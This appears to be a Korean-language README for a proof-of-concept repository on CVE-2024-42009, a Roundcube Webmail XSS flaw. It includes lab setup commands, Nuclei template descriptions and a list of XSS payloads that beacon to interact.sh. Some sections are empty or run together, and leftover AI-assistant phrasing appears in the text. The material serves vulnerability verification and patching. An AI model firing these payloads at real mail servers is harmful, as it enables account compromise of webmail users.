
이 저장소는 Nuclei 템플릿과 보조 리소스를 포함하여 CVE-2024-42009를 안전하게 시연하고 검증하기 위해 설계된 자료입니다. 이 취약점은 Roundcube Webmail의 치명적인 반사형 XSS(Reflected Cross-Site Scripting)로, show.php의 message_body() 함수에서 발생합니다. 이 결함은 살균(sanitization) 이후의 수정 작업이 살균을 무력화(desanitization)시키고 조작된 HTML 이메일 콘텐츠를 안전하지 않게 렌더링하도록 만드는 데 있습니다.
⚠️ 이 PoC는 교육 및 인가된 테스트 용도로만 제작되었습니다. 소유하지 않았거나 명시적 테스트 권한이 없는 시스템에는 사용하지 마십시오.
show.php의 message_body()이 저장소는 통제된 실습 환경에서 JavaScript 실행을 확인하기 위해 Interactsh를 통한 대역 외(Out-of-Band, OOB) 탐지를 사용합니다.
onanimationstart 및 Interactsh 비콘(beacon)이 포함된 <body> 태그로 조작된 이메일 전송제공된 Docker Compose 파일을 사용하여 MailHog(SMTP 싱크) 및 MariaDB와 함께 로컬 Roundcube 인스턴스를 실행하십시오.
git clone https://github.com/Shubhankargupta691/CVE-2024-42009.git
cd CVE-2024-42009
docker compose up -d
http://localhost:8080http://localhost:8025⚠️ 본인의 Google 계정을 사용하지 마십시오.
CVE-2024-42009-OOB.yaml – Interactsh 및 대역 외(OOB) 탐지를 포함한 Nuclei 템플릿CVE-2024-42009.yaml – Interactsh 및 OOB가 없는 Nuclei 템플릿docker-compose.yml – Roundcube Webmail 실습 환경 구성Images/ – Interactsh의 HTTP/DNS 히트를 보여주는 스크린샷이 동영상은 전체 익스플로잇 체인을 안내합니다:
(동영상 데모)
이러한 XSS 페이로드를 README에 책임감 있게 포함하려면 교육 또는 테스트 목적임을 명확히 표시한 섹션에 배치해야 합니다. 다음은 제안된 구조입니다:
⚠️ 고지 사항: 이 페이로드는 교육 목적 및 인가된 보안 테스트에만 사용하기 위한 것입니다. 명시적 권한 없이 시스템에 배포하지 마십시오.
<!-- Image tag with onerror -->
<img src="https://interact.sh/xss-test" onerror="fetch('https://interact.sh/hit')">
<!-- Broken image source with onerror -->
<img src="https://raw.githubusercontent.com/shubhankargupta691/cve-2024-42009/HEAD/x" onerror="fetch('https://interact.sh/hit')">
<!-- SVG with onload -->
<svg onload="fetch('https://interact.sh/hit')"></svg>
<!-- Script tag -->
<script>fetch('https://interact.sh/hit')</script>
<!-- JavaScript in iframe src -->
https://interact.sh/hit를 자신의 리스너 엔드포인트로 교체하십시오.Roundcube를 다음 버전으로 업그레이드하십시오:
다음은 CVE-2024-42009에 대한 README 또는 이메일 제출물에 포함할 수 있는 깔끔하고 전문적인 참고 자료 섹션입니다. 나열된 모든 출처를 명확성과 신뢰성을 위해 형식화하여 인용합니다: